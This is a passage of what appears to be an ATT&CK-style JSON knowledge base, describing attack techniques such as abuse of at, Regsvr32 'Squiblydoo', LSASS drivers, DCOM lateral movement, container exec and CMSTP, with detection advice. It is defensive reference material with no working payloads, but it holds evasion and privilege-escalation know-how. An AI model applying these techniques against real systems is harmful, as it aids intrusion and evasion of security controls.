- "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo
.(Citation: GTFObins at)",
- "modified": "2022-04-16T20:45:01.814Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "At (Linux)",
- "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq
command and ensure IP addresses stored in the SSH_CONNECTION
and SSH_CLIENT
variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/
.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Scheduled Job: Scheduled Job Creation"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1117": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:26.966Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1117",
- "url": "https://attack.mitre.org/techniques/T1117"
- },
- {
- "source_name": "Microsoft Regsvr32",
- "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
- "url": "https://support.microsoft.com/en-us/kb/249873"
- },
- {
- "source_name": "LOLBAS Regsvr32",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/",
- "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019."
- },
- {
- "source_name": "Carbon Black Squiblydoo Apr 2016",
- "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
- "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html",
- "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
- "source_name": "FireEye Regsvr32 Targeting Mongolian Gov"
- }
- ],
- "modified": "2020-01-31T19:00:56.475Z",
- "name": "Regsvr32",
- "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- },
- {
- "phase_name": "execution",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting",
- "Anti-virus",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1177": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1177",
- "url": "https://attack.mitre.org/techniques/T1177"
- },
- {
- "url": "https://technet.microsoft.com/library/cc961760.aspx",
- "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
- "source_name": "Microsoft Security Subsystem"
- },
- {
- "url": "https://technet.microsoft.com/library/dn408187.aspx",
- "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
- "source_name": "Microsoft LSA Protection Mar 2014"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
- "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
- "source_name": "Microsoft DLL Security"
- }
- ],
- "modified": "2020-01-24T18:50:28.846Z",
- "name": "LSASS Driver",
- "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1059": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
- "created": "2017-05-31T21:30:49.546Z",
- "x_mitre_version": "2.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1059",
- "url": "https://attack.mitre.org/techniques/T1059"
- },
- {
- "source_name": "Remote Shell Execution in Python",
- "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python",
- "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Command History",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."
- },
- {
- "source_name": "Powershell Remote Commands",
- "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1",
- "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)",
- "modified": "2022-04-19T18:31:48.827Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Command and Scripting Interpreter",
- "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "Script: Script Execution",
- "Process: Process Metadata",
- "Module: Module Load"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1175": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": false,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1175",
- "url": "https://attack.mitre.org/techniques/T1175"
- },
- {
- "source_name": "Fireeye Hunting COM June 2019",
- "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
- "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
- "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
- "source_name": "Microsoft COM"
- },
- {
- "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
- "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
- "source_name": "Microsoft COM ACL"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
- "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
- "source_name": "Microsoft Process Wide Com Keys"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
- "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
- "source_name": "Microsoft System Wide Com Keys"
- },
- {
- "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html",
- "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
- "source_name": "ProjectZero File Write EoP Apr 2018"
- },
- {
- "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
- "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
- "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
- "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
- "source_name": "Enigma MMC20 COM Jan 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
- "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
- "source_name": "Enigma DCOM Lateral Movement Jan 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
- "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
- "source_name": "Enigma Excel DCOM Sept 2017"
- },
- {
- "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom",
- "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
- "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017"
- }
- ],
- "modified": "2020-03-30T13:36:10.069Z",
- "name": "Component Object Model and Distributed COM",
- "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "x_mitre_remote_support": true
- },
- "atomic_tests": []
- },
- "T1609": {
- "technique": {
- "x_mitre_platforms": [
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Alfredo Oliveira, Trend Micro",
- "David Fiser, @anu4is, Trend Micro",
- "Brad Geesaman, @bradgeesaman",
- "Center for Threat-Informed Defense (CTID)",
- "Magno Logan, @magnologan, Trend Micro",
- "Vishwas Manral, McAfee",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1",
- "type": "attack-pattern",
- "created": "2021-03-29T16:39:26.183Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1609",
- "url": "https://attack.mitre.org/techniques/T1609"
- },
- {
- "source_name": "Docker Daemon CLI",
- "url": "https://docs.docker.com/engine/reference/commandline/dockerd/",
- "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021."
- },
- {
- "source_name": "Kubernetes API",
- "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/",
- "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021."
- },
- {
- "source_name": "Kubernetes Kubelet",
- "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/",
- "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021."
- },
- {
- "source_name": "Docker Entrypoint",
- "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime",
- "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021."
- },
- {
- "source_name": "Docker Exec",
- "url": "https://docs.docker.com/engine/reference/commandline/exec/",
- "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021."
- },
- {
- "source_name": "Kubectl Exec Get Shell",
- "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/",
- "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021."
- }
- ],
- "modified": "2022-04-01T13:16:14.786Z",
- "name": "Kubernetes Exec Into Container",
- "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec
to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec
.(Citation: Kubectl Exec Get Shell)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1609"
- },
- "atomic_tests": []
- },
- "T1191": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
- "Nik Seetharaman, Palantir"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1191",
- "url": "https://attack.mitre.org/techniques/T1191"
- },
- {
- "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
- "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
- "source_name": "Microsoft Connection Manager Oct 2009"
- },
- {
- "source_name": "Twitter CMSTP Usage Jan 2018",
- "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.",
- "url": "https://twitter.com/ItsReallyNick/status/958789644165894146"
- },
- {
- "url": "https://msitpros.com/?p=3960",
- "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
- "source_name": "MSitPros CMSTP Aug 2017"
- },
- {
- "url": "https://twitter.com/NickTyrer/status/958450014111633408",
- "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.",
- "source_name": "Twitter CMSTP Jan 2018"
- },
- {
- "url": "https://github.com/api0cradle/UltimateAppLockerByPassList",
- "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
- "source_name": "GitHub Ultimate AppLocker Bypass List"
- },
- {
- "source_name": "Endurant CMSTP July 2018",
- "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.",
- "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
- }
- ],
- "modified": "2020-01-31T18:58:17.078Z",
- "name": "CMSTP",
- "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1064": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:51.733Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": false,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1064",
- "url": "https://attack.mitre.org/techniques/T1064"
- },
- {
- "source_name": "Metasploit_Ref",
- "description": "Metasploit. (n.d.). Retrieved December 4, 2014.",
- "url": "http://www.metasploit.com"
- },
- {
- "url": "https://www.veil-framework.com/framework/",
- "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.",
- "source_name": "Veil_Ref"
- },
- {
- "url": "https://github.com/mattifestation/PowerSploit",
- "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
- "source_name": "Powersploit"
- },
- {
- "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
- "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
- "source_name": "Alperovitch 2014"
- },
- {
- "url": "https://www.uperesia.com/analyzing-malicious-office-documents",
